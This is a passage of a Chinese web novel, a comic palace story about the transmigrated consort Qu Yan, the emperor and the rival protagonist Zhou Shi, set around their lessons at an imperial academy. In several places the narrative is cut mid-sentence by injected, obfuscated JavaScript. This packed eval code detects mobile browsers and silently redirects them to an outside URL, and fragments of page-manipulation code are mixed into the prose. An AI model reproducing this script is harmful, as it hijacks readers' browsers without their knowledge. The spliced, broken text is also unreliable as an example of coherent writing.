周拾搂住岭北郡主,见她没有拒绝,甜言蜜语张口就来:“郡主,我的心肝宝贝,第一次见你时我就知道,你是我的命定之人。” 岭北郡主深情款款:“周郎,你把我的心里话都说出来了。自从见到你,我才知道什么叫一见钟情。” 两人噘起嘴巴,缓缓地、缓缓地亲到一起。 “混账!!”徐太尉一声狮子吼,一杯滚烫的茶水泼了过去,烫得两人的嘴巴差点当场起泡。 “啊!”岭北郡主叫起来。 周拾慌张看去,见是吹胡子瞪眼的徐太尉,赶紧推开郡主,“徐伯父,不是你看到的那样。” 徐太尉站在一条小船上,小船摇晃,他跟着晃,悲怒交加让他眼眶通红,“周焱枫,你这样怎么对得起、怎么对得起我……” “……” 抓奸现场,瞬间诡异。 岭北郡主看着那老头,惊恐之情溢于言表:“周郎,他是谁?” 周拾:“他……” 徐太尉:“妖女!要你管!” 岭北郡主:“…………” 岭北郡主瞬间失去所有力气与手段,她懂了,“原来如此,周郎,原来你喜欢忘年恋,喜欢老头子。” 周拾:“????” 周拾刚要解释,就被一巴掌拍到水里。 岭北郡主的手在痛,心更痛,大喊道:“我真是错看你了!你这个变态!!赶紧对老人家负责!!” 周拾眼睛一翻,差点晕死过去,什么鬼啊!!! “呜哇哇哇!”岭北郡主哭哭啼啼上岸跑了,“我再也不要来盛京,我要离开这伤心之地!” 徒留龙傲天在水里扑腾,扑腾,扑腾,气急攻心沉了下去。 徐太尉:“……” 徐太尉老脸一红,这周拾竟然对他……对他有非分之想,他可是他的老丈人啊! “真是世风日下,人心不古!”徐太尉哀叹一声,让人捞周拾上来。 受到刺激、打击、魔法攻击的龙傲天就这么两眼一闭晕了过去,当晚发了烧,稀里糊涂差点皈依西天如来佛祖。 而岭北郡主自是连夜离开这让她伤心的盛京了——没有钱怎么走?当然是顺手牵羊了龙傲天的金子银子玉佩宝石,一路忧伤地叮叮当当回岭北去了。 夜合殿内。 看完系统转播的曲延差点笑厥过去,前仰后合得意忘形之下,椅子咣当一声,曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690370|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延摔了个四脚朝天,还在发癫似的哈哈大笑。 宫女们满面惊恐。 谢秋意默默去禀报皇帝。 【完成主线任务之拆散周拾与岭北郡主,获得奖励500积分。】 【完成主线任务瓦解龙傲天与徐家姻亲关系进度10%,获得奖励100积分。】 曲延不笑了:“怎么才10%?没算错吧?” 系统:【徐太尉还是想当周拾的老丈人,而不是夫人。】 “……哈哈哈哈!”曲延又笑个不停。 这副模样恰好被归来的帝王瞧见,淡声问:“曲君遇到什么好事了?” 曲延嘴角都快笑裂了,两手挤压自己的腮帮,嘴巴嘟嘟的,“我听说周拾表白不成投河自尽了?” 周启桓显然听说了这事,但版本不同,“表白?” “对啊,好像是向徐太尉表白。”曲延吸一口气,不然又要发笑。 “……” “陛下你不觉得好笑吗?” “无稽之谈罢了。” 曲延点头,“太滑稽了。我也不相信,不然世子岂不是□□,会被打死的。” 龙傲天没有被打死,但醒来后就被英王强行禁足。但这并没有阻止周拾,在一个女人身上栽了跟头的他越发放纵,和府中侍女厮混。 欧阳策上门,与周拾臭味相投,一起把酒言愁。 俩人喝得烂醉如泥,和几个侍女东倒西歪在一起,此番□□景象被英王撞破,捶手顿足大呼:“逆子啊逆子!” 等周拾醒来,就剩他和欧阳策两个大男人光着屁股躺在一起,侍女们都被发卖了。 欧阳策惊恐捂腚,胡乱穿上衣服,慌不择路跑了。 周拾的脸,乌漆嘛黑…… 谁也不知道,那天这对狗兄弟到底有没有发生什么。反正欧阳策自此见到周拾就别别扭扭的,周拾不愧是龙傲天,照常招猫逗狗,只当什么都没发生过。 这些流言蜚语传入朝堂,英王教子无方,被参了好几本,让他好几天没脸上朝,只得告病在家。 直到一道圣旨下来。 吉福亲自走了一趟英王府,众人跪下接旨。 “奉天承运,皇帝诏曰,京中勋贵子弟近岁多言行逾矩,有亏德操。彼辈为邦国将来之柱石,断不可纵任废弛。朕特重开向学殿,俾其承国之至崇教化,以育端方懿德。凡年登十八,父母位列三品以上者,悉许入殿肄业。” 英王老脸红润地接旨。周拾一脸不可思议,转念满怀欣喜,入了向学殿,就是半只脚靠近皇位,他自然要去。 谁说这不是因祸得福呢。 向学殿可是只有皇子才能接受教育的地方。 至于三品以上大员家子女都能去接受教育,只要走点门路,敢去的就不多。 周拾冷笑,他自有办法让那些竞争者去不成。 曲延听到这个消息时,啧啧感叹:“龙傲天真是丢人丢到家了,陛下让他重新学习做人,他还乐颠颠的。” 系统:【你别高兴太早。】 曲延盘算着,周拾每天进宫上学,就没有时间搞什么阴谋诡计,倒是一件好事。 “应该开个香槟庆祝。没有香槟,就拿酒酿吧。”曲延自顾一碗一碗喝着酒酿。 待到帝王下朝归来,看到的就是一个脸蛋酡红、眼眸如水的灵君。 果然很灵,水灵灵的。 曲延端着酒酿,跳着舞步到帝王面前,“陛下,你真是英明神武、英姿飒爽、英气勃勃!” 周启桓:“朕不想听到‘英’这个字。” “?” “会想到英王。” 那确实晦气。 曲延喝一口酒酿,“英王也能瞑目了,他的儿子可是进了向学殿。” 周启桓:“曲君醉了。” “没醉,我高兴。” “高兴什么?” “高兴……嘿嘿嘿……” 周启桓道:“曲君既然这么高兴,便一起去向学殿学习。” 曲延端着冰裂酒酿碗傻愣愣,“啥?” “曲君也要去向学殿。” “……”曲延的脸,像碗一样裂开了。 【陛下让他重新学习做人,他还乐颠颠的。】系统重复曲延说过的话。 【真是风水轮流转,苍天饶过谁。】 【你也要上学了呢。】 曲延一头栽进周启桓怀里,醉晕过去。 ……一定是他穿越的方式不对,不然为什么到古代还要上学? 22.上学了 这是一个风和日丽的早晨,曲延伸个懒腰,从两米宽的龙床上起来,掀开帐子,透过珠帘,发现周启桓一反常态坐在窗边的榻上,正在居家办公。 “陛下,你怎么不去早朝?”曲延问。 “退朝了。”周启桓眼也不抬道。 曲延估摸着,确实是平常周启桓退朝的时间,只不过素日里周启桓会留在金乌殿偏殿,继续处理公务,接见大臣,直到下午才得空回夜合殿。 有时一整天都要在前朝忙碌。 像这样退朝就能“回家”的情景,少之又少。 真是得之不易的悠闲时刻,曲延随意地披上外袍,把雪白的脚丫子塞进古代的拖鞋——木屐,踩在实木地板上噔噔响,宛如敲小鼓。 曲延很喜欢这声音,他路过梳妆台,从镜中看到自己发丝凌乱的仪容,用手指简单扒拉,“我做了一个好可怕的梦,梦到自己居然要去上学。哎呀妈呀,吓死我了。” 帝王闻言抬起冷翠的眼睛,淡声道:“不是做梦。” “嗯?” “曲君今日要去向学殿。” “……”曲延傻呆呆地看着珠帘外帝王威严的身影,“啥?” “这是一个机会,曲君应当把握。” “把握什么?” “君子习六艺,礼、乐、射、御、书、数。曲君虽为妃,却也是男子,理当与士大夫同列,修习此课程。” 曲延艰难地问:“我要是不想学呢?” 帝王放下奏疏,无声地望着他。 “……我学,我学还不行吗。但提前说明,别对我抱太大希望,虽然我不是个学渣,但学那些礼数还是第一次。” “乐之道,于你而言应当不难。” 曲延一屁股坐在梳妆镜前,心想,那还有五难呢。 谢秋意携两名宫女进来,给曲延梳妆打扮,手脚都悄悄的,宛如空气。帝妃的对话还在继续。 周启桓:“曲君不必忧虑,向学殿教授都是朕亲自挑选,有太师从旁教导。若有不明白的地方,可来问朕。” 曲延还蔫头耷脑的,活了二十多年,一朝回到解放前,居然还要上学。 周启桓放下奏疏,撩开珠帘走到曲延身后,谢秋意躬身退下。周启桓捡起青年肩头柔顺的发丝,如同丝绸缠绕在他指尖。他轻轻地捋着,替曲延梳头。 帝王的手宽大而灵巧,指肚摩挲过发间,轻轻拉扯。曲延头皮微微酥麻,精气神一下子上来,腰背也挺直。 “陛下替我梳头,不好吧?”曲延问。 “有何不好?”周启桓仔仔细细地捋顺青年每一根头发,像给猫顺毛。 曲延说不出个所以然,望着银镜中自己与周启桓清晰的身影,只觉此情此景甚是熟悉,像是很久之前发生过。 十几分钟后,曲延看着镜中自己扎歪的辫子,陷入沉思,难道古代也流行歪马尾? 周启桓:“……” 帝王默默,只是重来。 弄好头发,周启桓又亲自给曲延穿衣,平时曲延被宫女伺候惯了,居然没觉得有什么不妥。等他布灵布灵穿戴整齐,回过味来,为什么周启桓给他穿衣服这么顺手? 周启桓已经吃过早饭,但还是陪着曲延用了一点,看他的目光宛如即将送孩子上学的父母。 曲延:“……”早饭顿时不香了。 书包都准备好了,包括文房四宝。谢秋意取来书包,一样一样清点书籍、笔墨。四宝由她用匣子端拿,曲延只要背上书包就好。 古代的书包,不像曲延想象中那样简陋,反而款式很多,用料也很讲究。曲延看着用牛皮拼接格纹样式的书包难掩震惊。 “这真的不是英伦风吗?” 谢秋意不解:“英伦风?” 曲延把书包挎在身上,大小合适,有金属扣子可以调节包带长度,如果他现在穿越回现代,保证没人怀疑这书包是古物。 “太时髦了。”曲延惊叹,“真好看。” 周启桓:“看来曲君很喜欢上学。” 曲延:“……”萎了。 帝王御驾亲自送宠妃去上学。 路上,曲延坐在帝王身边,仰脸望着华盖中间晃动的铃铛,一脸生无可恋地唱道:“太阳当空照,花儿对我笑,小鸟说,喳喳喳,你为什么背上小书包。我去上学校,天天不迟到,爱学习爱劳动,长大要为人民立功劳。” 周启桓:“曲君志向远大。” 曲延:“可是我已经长大了……还要上学。” 至向学殿,众人跪拜。 负责教导课程的有教授、太师、助讲,学子则是宗室子弟,以及他们的伴读。总共也就三十来人。比曲延预想的人数要少很多。 “陛下万岁,灵君万福。” 周启桓道:“平身。” 吉福唱喝:“起——” 众人这才起来。 曲延一打眼扫去,看到了屎傲天与其狗腿子欧阳策。欧阳策低着脑袋没精打采,厌学情绪简直写在脸上。曲延瞬间有种同病相怜之感。 周拾倒是目光放肆,语气亲热:“皇叔送灵君来向学殿,真是用心良苦。” 周启桓不置可否,淡声道:“灵君此番前来向学殿求学,与诸位同为学子,不必拘泥于身份之差。万望和睦相处,不负朕之苦心。” 宗室子弟们诚惶诚恐:“谨遵陛下教诲。” “灵君,拜师。”周启桓看向身旁正在发呆的青年。 曲延这才扭头看向长者那边,蓦然发现低着眉没什么存在感的春知许,眼睛一下子瞪大:“春大人?” 春知许不疾不徐道:“灵君,又见面了。” “你来教书?” “幸得圣恩垂爱。” 真是打瞌睡送来枕头,曲延正愁怎么拯救男二,男二就自己送上门了。不过……屎傲天在这里。难道他们就是这样搭上关系的? 不行,绝不能再次让春知许落入周拾的魔爪,重蹈覆辙。 曲延一一拜了老师,春知许确实是来教“书”的,而“礼”是由太常寺少卿教授,“乐”由教坊司首座教授,“射御”同由禁军统领教授,“数”则由太学院算学博士助讲。 六门课,五个老师。每日上午一到三门课,上五休二。 向学殿“开学” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695133|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的第一门课,是“书”中的《诗经》,春知许手持一卷书讲学,嗓音温文尔雅,他道:“诗书之道,不在记诵,而在理解。” 曲延第一次听古人教书,不算太过深奥难懂,甚至能听到些许道理来。 他不住点头,对系统说:“不愧是原书聪明温润的男二,教书都这么透彻。” 系统:【不透彻,傻子听不懂。】 曲延:“我怀疑你在内涵我。” 系统:【不用怀疑。】 曲延:“……你爸的真是越来越欠了。” 听懂是一回事,而书写是另一回事,春知许让众人写字,他道:“字能看出一个人品行如何,君子的字,当端方隽秀。” 曲延上一次拿起毛笔,还是小学时,他信心满满地再次拿起毛笔。伴读一直待在讲堂后面,需要时会过来,谢秋意站在桌边为曲延研墨。 当春知许的目光落在曲延这边时,谢秋意手上动作都似乱了几分。 曲延:“……”对哦,谢秋意喜欢春知许。 墨磨好,谢秋意躬身退到后面,曲延提笔蘸墨,学着周启桓平时写字的模样,腰背挺直,姿态端正,下笔如有神—— 春知许见他这般,满意地点点头,信步走过来。 曲延的笔力透纸背,慢慢写下三个歪歪扭扭的大字:周启桓。 春知许:“……” 边上的学子想要偷瞄这位灵君写了什么。 春知许赶紧拽过曲延的字,飞快折叠放入袖中,“重写。” 曲延:“……” 当今皇帝的名字,岂能随便写,若是旁人,那就是杀头的大罪。 曲延只好又写了一遍:周启…… 春知许拽过字,又塞入袖中,叹道:“灵君,写点别的。” 曲延眨巴眼睛,蓦然反应过来,老老实实不再写周启桓名字,胡乱写了两句古诗——当然,字还是奇丑无比、歪歪扭扭。 春知许却松了一口气,说了句“很好”。 宗室子弟们的马屁立马吻了上来,指着曲延桌上诗句道:“灵君的字当真纵横开阔、恢弘大气、龙飞凤舞、不可小觑!” “实乃天上仅有,地上绝无的好字。” “便是书法大家xxx也不及灵君万分之一。” 曲延:“……” 从来没听过这么假的马屁。 周拾嘴角抽抽,没有加入拍马屁的行列,在他看来,傻子写出这样的字也不奇怪。周拾倨傲地举手,“春先生,可否来指导一下我写的字?” 为了这一手好字把妹写情书,周拾可是苦练过一个月。 春知许走了过来,冷淡的眸子垂下,扫一眼周拾的字,没有拿起来看,“世子殿下字如其人,投机取巧,还需稳重些才是。” 周拾:“……” 周拾瞪着春知许俊秀的下颌线条,联想在太学院时春知许的态度,脸色沉下来,“春大人对我是不是有什么误解?” 曲延幽幽说了句:“还需要误解吗?世子殿下当街表白自己未来的老丈人,可是闹得满城皆知。” 周拾:“…………放屁!!!” 23.真好玩 周拾穿过来三年多,一直以乖顺的形象示人,哪怕偶尔有行径放纵之处,看在他是英王小世子的面子上,只会落得一个风流多情的评价。 而从小就是纨绔的欧阳策就不一样了,他带着周拾去撒野,去白马春风楼沉迷酒色,那性质完全不同,别人只会以为是欧阳策带坏了英王小世子。 周拾向来乐见其成,装乖卖巧,背地里拉帮结派,结交权贵,只为那宏图大业。纵情声色,不过他的一个伪装罢了——虽然他确实喜欢美女。 周拾从未如此羞怒过,被岭北郡主“抛弃”都没这么屈辱。 他怎么也没想到,居然会传出他向未来老丈人表白的谣言,简直荒诞滑稽,奇耻大辱! 以至于他脱口而出“放屁”二字,还是对着皇帝的宠妃说的。 这是大不敬。 学堂一片寂静,不乏有宗室子弟面露鄙夷之色。 周拾:“……” 龙傲天的装乖形象咔嚓破碎。 一面貌清贵的少年道:“周世子此言未免粗鄙了些。” 曲延扭头看去,那少年的身份小卡更新:【宣斐,大理寺卿次子,年十六,十二岁通过科举院试成为秀才,被誉为小天才。】 今年已经二十五岁的曲延:“……” 他环顾一圈,盯着众人的身份小卡,最小十四岁,最大二十岁。 也就说,曲延是他们中年龄最大的。 这和延毕大学生混在一群初高中生之间有什么区别,曲延深受打击,差点当场裂开。 “呵呵,”周拾阴阳怪气,“宣斐,我皇叔都说了,灵君与我们同为学子,不必拘泥于身份之差。我是一时怒急攻心失言,但灵君的话,也太无稽之谈。” 宣斐眉头紧蹙,一板一眼道:“君子有所为,有所不为,灵君只是转述流言蜚语,世子却当了真,对灵君口出恶言,便是同为学子,也不该如此。” “难不成只许灵君对我口出恶言,不许我反驳?”周拾可不这群迂腐的古人,狡辩他是不会输的。 “世子这是颠倒黑白……” 啪的一声,春知许手持戒尺敲在曲延面前的桌上,“肃静。” 学堂登时安静下来。 春知许秉公无私道:“灵君,周焱枫,宣斐,都到外面面壁思过。” “…………” 开学第一天,曲延喜提罚站。 面朝向学殿黛色的砖墙,曲延发现周拾站在中间,顿时嫌弃地换个位置,站到宣斐身边。 宣斐受宠若惊,飞快瞄了曲延一眼,面庞微红。 曲延无聊地在墙上画圈圈,默默诅咒周拾走路踩到果皮、下次表白还掉进水里。 直到下课,三人的罚站才结束。 欧阳策第一个冲出学堂,关切道:“周拾,你没事吧?” 周拾皮笑肉不笑地看向慢悠悠走出来的春知许,“我能有什么事。春大人,可否聊聊?” 春知许淡淡道:“下官还有要事,世子有什么话,明日来向学殿再说。” 周拾说了个“好”字,脸色看上去一点也不好。 曲延倒是波澜不惊,问谢秋意:“下节课是什么?” “乐。”谢秋意道。 听到“乐”字,周拾蓦地神采飞扬,招呼欧阳策一起去贤月楼喝冰饮。 “灵君可要去贤月楼?” 曲延想起在贤月楼的不愉快记忆,“……算了,我不去。” 因为要上音乐课,学堂里的桌案重新排列,只留下蒲团,室内提前摆放好各色乐器,方便教学。谢秋意命人取来曲延的螺钿琵琶。 琵琶一出场,就吸引了留下来十余个学子的目光,纷纷惊叹于这把琵琶的颜值,询问从何处购入。 曲延总不能说是叶尘心“贿赂”他的,便道:“是陛下赏赐。” 于是无人再问这把琵琶的来历。 曲延随意弹奏,露了一手琵琶版的舒伯特小夜曲。 都说音乐无国界,大师的音乐更是古今贯通,这一群少年听得如痴如醉,泪水涟涟,呜咽一片。 曲延:“……” 学堂外,立着一道苗条的倩影,她是教坊司首座琵琶手,柳疏桐。也是教授“乐”的老师。 柳疏桐能听得出曲延的琵琶弹奏技巧并不熟练,甚至生涩得很,但音调的掌握十分准确,如果不是先前接触过乐理,那便是天纵奇才。 她走进学堂,哭得东倒西歪、感叹人生坎坷的学子霎时安静下来。 他们慌乱地擦着眼泪,异常羞涩。 曲延抬头望去,之前没有仔细看过,这位音乐老师的身份小卡跳出来:【柳疏桐,二十八岁,教坊司首座,内教坊一把手,专为宫廷演奏。龙傲天曾经的后宫之一。】 为什么是曾经呢? 原书里对柳疏桐的描述不多,只在周拾的回忆里出现过两次,前因后果大致是—— 周拾在登基前勾搭上了柳疏桐,将教坊司收为己用。别看一个小小的教坊司在宫廷斗争中没什么太大的作用,好像只负责歌舞表演。 实际上,教坊司历朝历代暗地里都和文武百官有牵连,比如某官员去教坊司喝点小酒、点个歌舞。教坊司艺人献个身、套个话,那是常有的。 只要不摆到台面上,大家默认教坊司是达官贵人的逍遥窟,权色交易也是常有的。 周拾收服了教坊司,就是掌控了文武百官的弱点,除非他们没有那方面的需求,或者从来清廉持正,洁身自好。 但凡男子,能有几个干净的? 周拾就是认定了这点,才会勾搭柳疏桐。 至于柳疏桐为什么会被勾搭上,就不得而知了,也许是龙傲天虎躯一震、霸气侧漏,反正妹子喜欢他没什么逻辑可言。 而在收服教坊司之后,周拾看上了更加年轻美貌的柳疏桐的徒弟,将柳疏桐送给某八旬老臣,柳疏桐不堪受辱,在行刺周拾时被反杀。 这个操作和后来周拾将男二送人,有异曲同工之处,都很恶心人。 只不过柳疏桐在被送人的当晚就开始扑杀,而男二春水生……是被迷晕后送去的。 如果说柳疏桐是烈性的,春水生就是柔性的,相较于柳疏桐的快意恩仇,春水生被恶意地摧毁后还能温 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接下来便开始上课,柳疏桐先讲乐理,语速很快,约莫只用了半小时。然后便开始上手操练,让大家挑选各自感兴趣的乐器,即兴发挥就好。 周拾挑的自然是琵琶,叮叮当当拨弄琴弦,如大珠小珠落玉盘。周围的人被他的乐声吸引,柳疏桐也开始仔细聆听,不住点头。 曲延震惊:“周拾琵琶也弹得这么好?” 系统:【有一种金手指,叫‘才艺’。】 曲延竖起耳朵,发现了端倪,周拾弹奏的乐声与其说是从琵琶琴弦传出来的,不如说是从他怀里传出的,宛如偷偷揣了一个音箱。 曲延立即举手:“柳首座,他作弊!” 柳疏桐:“?” 周拾指尖一顿,面色僵硬,“灵君可不能污蔑我。” 曲延:“我指名道姓了吗?世子殿下这是不打自招?” “……”周拾嘴硬,“我没有作弊,你有何证据?” 曲延:“把你的衣服脱下来。” 周拾早把金手指偷偷收入系统空间,闻言大方地脱下外袍,又脱下中衣,向柳疏桐展示自己正在茁壮成长的六块腹肌。 柳疏桐:“……” 周拾展开手臂,自认为风流倜傥实则色眯眯一笑:“柳首座,请检查。” 柳疏桐一巴掌呼过去,“成何体统!!!” 教坊司首座的琵琶手,多年操练之下,那手劲比岭北郡主大多了,龙傲天一个螺旋升天,当场从学堂窗户飞了出去,赤裸着上半身,狼狈地滚到廊下。 曲延眨巴眼睛,视线缓缓挪到窗外,“……” 周拾脸疼,怒急,刚要爬起来,忽然看到一双矜贵端庄的黑色皮革鞋履,覆盖的衣袂以金线刺绣龙纹,目光往上,好长好长的腿,伟岸无边宛如神祇的身姿。 学堂里一片寂静。 周拾就这么凌乱无耻地滚在帝王的脚前,“…………” 周启桓抬起冷翠的眸子,看向学堂内内瞪着圆圆杏核眼的曲延,“朕来接曲君散学。” 24.闯福了 “陛下万岁。”学堂诸人慌乱地抱着乐器跪拜,有人不小心摔了一跤,脑袋顶到前面同学的屁股。 同学:“……” 不过大家的注意力不在学堂内,而在学堂外还半裸着趴在地上的龙傲天身上——九五之尊面前,何等无礼! 就连平日里总是喜笑颜开的吉福,都忍不住面露半分嫌弃之色,不过这位大内总管很快调整好面部表情,让人看不出丝毫端倪,关切道:“哎呀,小世子你没事吧?” 周拾屈辱地爬起来,无衣蔽体,脸庞涨红,“皇叔……” 周启桓的目光并未垂落,淡声道:“成何体统。” “……”周拾悲愤地瞪着把自己扇出学堂的柳疏桐,操,这个女人手劲怎么这么大! “曲君。” 谢秋意早反应过来,将曲延的文房四宝收拾好,跪在他身旁低声提醒:“灵君,散学了。” 曲延这才从呆滞中回神,抿了抿嘴角忍住对屎傲天的嘲笑,老老实实走出学堂。 周启桓携住曲延的手,圣架回宫。 良久,众人才直起腰来,脸色各异,相同的是看向周拾的目光都有些许嫌弃。看看这干的叫什么事,丢人都丢到陛下面前了。 周拾的自尊心差点当场碎掉。 …… 回夜合殿的路上,烈日当空。 华盖下的曲延却觉清凉,一来御辇沿着清凉巷走,二来车中备了冰酪。曲延吃着古代版冰淇淋,心情很好地哼起自创的小调。 周启桓取出一方洁净的帕子,替曲延擦去嘴角沾上的牛奶。 曲延舔了舔,“还有吗?” 周启桓仔仔细细又给他擦了一遍,曲延就像洗脸的猫似的眯起眼睛。帝王的目光凝在青年洁净的眉眼间,唇角弯起一个微不可查的弧度。 可惜曲延没有看到。 “陛下什么都不问吗?”曲延睁开眼睛,黑白分明的瞳仁像水洗过的葡萄。 周启桓反问:“问什么?” “周拾为什么在你面前摔个狗啃泥。” “不重要。” 曲延点点脑袋,“是不重要,但我要说,是因为他在柳首座面前耍流氓,脱光了衣服。” “没有脱光。” “那不重要。” “嗯。” 两人寻常地聊着天,多是曲延提问,又自问自答,高冷的帝王虽非句句有回应,但能给的回答都会说。曲延的胆子就这么被养肥,他说:“上学挺好玩的,明天我要看看他们还会闹出什么笑话。” 翌日,仍旧是周启桓亲自送曲延去向学殿上学。 下车时曲延问:“散学时陛下还来接我吗?” 周启桓:“嗯。” 曲延挎着书包,在谢秋意与两名小太监的陪同下,一起入了向学殿。 今天的第一节课依然是“书”,春知许就在学堂里准备教案,趺坐在蒲团上,伏案写字。早来的几个学子也都正襟危坐,朗朗书声不绝于耳。 曲延打招呼:“春老师,早。” 春知许点头,“早。” 曲延坐了下来,拿出书本,打算温习功课,然后对着那竖排密密麻麻的繁体字犯起了困……迷迷糊糊打着瞌睡,忽然听到一道中气十足又讨人厌的少年音。 “春大人,早啊。”周拾又是一副衣冠禽兽的模样。 曲延睁眼即翻了个白眼,看向恬不知耻的龙傲天。 春知许头也不抬,“早。” 周拾凑过去,“大人写什么呢。” 春知许笔尖顿住,抬眼看向周拾,“世子请入座。” 周拾一笑:“离上课还有些时间,春大人不如随我去贤月楼聊聊?” “世子有话,现在请说。” “春大人何必如此客气,我只是想和你说几句话而已。莫不是连这几句话的工夫都抽不出来?” 春知许沉默须臾,“君子行事,当光明磊落。世子有什么话,但说无妨。” 周拾见这春知许实在不知变通,暗想才高八斗又如何,还不是一个老古板。但春知许清名在外,若是能拉拢,那满朝的文官也要高看他些。 这样的人物如果不能收入麾下,那就只能毁去,总好过被他人利用。 周拾心中掠过种种计策,面上却一派春风和煦:“也没什么,不过是想请春大人喝杯茶罢了。” 春知许不置可否。 曲延默默观察,心生一股怪异,原书龙傲天和男二在没有发生那件恶心人的事之前,一直和睦相处。男二冰雪聪明,总是以自己的聪明才智帮龙傲天化解危机。 说男二春水生是周焱枫的军师,也不为过。 怎的现在隐隐有种水火不容的趋势?难道冥冥之中产生了某种变化。 如果真的是这样,曲延倒觉得是好事,这意味着也许男二不用走原书的剧情。他们都可以改变自己既定的人生。 照常上课,读书,写字。 曲延的字还是歪歪扭扭,周围的学子除了周拾,又对他拍马屁。 大理寺卿次子宣斐却不以为然,抬起下巴对那些巴结的同学说:“君子当诚实,灵君的字并非龙飞凤舞,而是丑。” 众人:“……”这孩子也太诚实了。 曲延干笑。 忽又有一少年嗤之以鼻:“傻子能写出这样的字,已经很不错了。” 如果说宣斐的话还算诚实,那这话就大逆不道了。 曲延回头看向那大逆不道的少年,“你谁?” 那少年五官还算端正,只是眉眼间一股桀骜之气,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曲延第一次拿冷兵器,但莫名信心爆棚,搭弓拉箭,咻的一声—— 弓箭拐个弯,射中周拾的屁股。 曲延:“?????” 周拾:“………………” 冯烈一惊,三五步上前,一把拔出周拾屁股上的弓箭,血溅三尺,假装无事发生——陛下的灵君,不可能第一次练习射御就射中自己大侄子的屁股! 大家肯定什么都没看到。 痛上加痛,周拾嗷的一嗓子,鸟雀惊飞。 众人:“…………………………” 25.program error 周拾被两个侍卫抬到离演练场最近的武德殿,宣御医诊治。 一众学子堵在门口假装关切看热闹,御医背着药箱进不去,冯烈大吼一声:“都给老子去演练场继续练习!不然军法伺候!” 众人这才作鸟散。 除了欧阳策颇有忧虑之色外,其他人神色各异,想笑不敢笑,怕损阴德。 御医哆哆嗦嗦进了武德殿,先是行了一礼:“世子殿下。” 周拾用了系统给的止痛药,还是痛得满头大汗,正暗暗咒骂怎么没有麻药,见御医来了还磨磨蹭蹭,自是火冒三丈:“别废话,快给我麻沸散!” 麻沸散是古代版的麻药,配方中含有曼陀罗花粉,虽有止痛奇效,却也会令人轻微中毒。这点毒在痛感面前也不算什么,周拾只想快点结束这激痛。 操,原来中箭这么痛。 周拾咬紧牙关,被侍卫褪下裤子,露出血肉模糊的屁股。 药粉倒在伤口,周拾浑身颤抖,冷汗淋漓,他何曾受过这样重的伤,心中早把曲延鞭尸了一万遍,如果不是看在曲家的面子,这个傻子男妃还有利用价值…… “嗷!”御医包扎的时候按压到伤口,周拾的干嚎声一直传到演练场上。 曲延手一抖,一箭射偏,贯穿曲不程衣裳下摆,钉在他脚前,那是个很容易穿过蛋蛋的角度。 曲不程惊恐低头,发出另一声嚎叫,和周拾遥遥呼应,宛如一对怨偶。 曲延:“……” 众人睁大眼睛。 曲不程一屁股坐在地上,抖如筛糠看着自己破损的下摆,裆前那么大一个洞。他几乎看到了太奶奶在向自己招手,骂他不肖子孙,连个后都没有就下来陪她了。 曲延惊恐万分:“难道曲不程的死因是,被我一箭射穿蛋蛋,爆蛋而亡?!” 系统:【冷静。】 “我不想当爆蛋凶手!”曲延丢下弓箭跑过去,一把撩起曲不程的衣裳。 曲不程已然僵硬呆滞,被吓得做不出任何反应。 “没有血,没有血就表示……你没有爆蛋!”曲延七上八下的心安定些许,“曲不程,你没有变成太监,你的蛋蛋还好好的。” 曲不程赶紧看自己的裤子,确定没有血,也没有任何痛感后,这个桀骜不驯的十八岁少年眼里泛起了泪花:“我、我没有断子绝孙……” 曲延没忍心告诉他,从原书看,曲不程不光断子绝孙,还英年早逝。曲延拍拍他肩膀,无声安抚。 过了好一阵,曲不程反应过来,一把拍开曲延的手,怒目而视:“灵君真是好箭术,先是周拾,再是我。” 曲延的手尬在半空。他的射箭天赋总是用在让人意想不到的地方。 恰在此时,帝王驾到。 众人跪拜,只曲延傻傻蹲着,像一只做错事躲在角落的小猫。 帝王走到曲延面前,向他伸手,“灵君射艺不精,朕当亲自教导。” 曲延把手搭在帝王宽大的掌心站起来,羞愧地低下脑袋。 周启桓看了眼捂住裆的曲不程,“吉福,带曲小公子去换身衣服。” 帝王御赐,乃是无上荣耀,曲不程脸色好了很多,磕头道:“谢陛下圣恩。” 吉福带曲不程去了。 冯烈随在帝王身后,已经说明情况,“陛下,请。” 周启桓携曲延去武德殿,至门口,他问曲延:“曲君可知,何谓武德?” 曲延:“……”这是在说我不讲武德吗? “武有七德,即禁暴、戟兵、保大、定功、安民、和众、丰财①。武者,当为国为民,尊师重道,孝悌正义,扶危济贫,切忌恃武逞强。” 曲延一句都没有听懂,只听到最后“逞强”二字,委屈道:“陛下,我不是故意的。” 周启桓冷翠色的眸子望着他,“朕知道。” 那箭怎么就拐了弯,非要射中周拾,这是个说不清道不明的谜。 虽然不是故意,看到英王的面子上,曲延需要道一声歉:“大侄子,对不起,我箭术不精射了你屁股。” 周拾:“……” 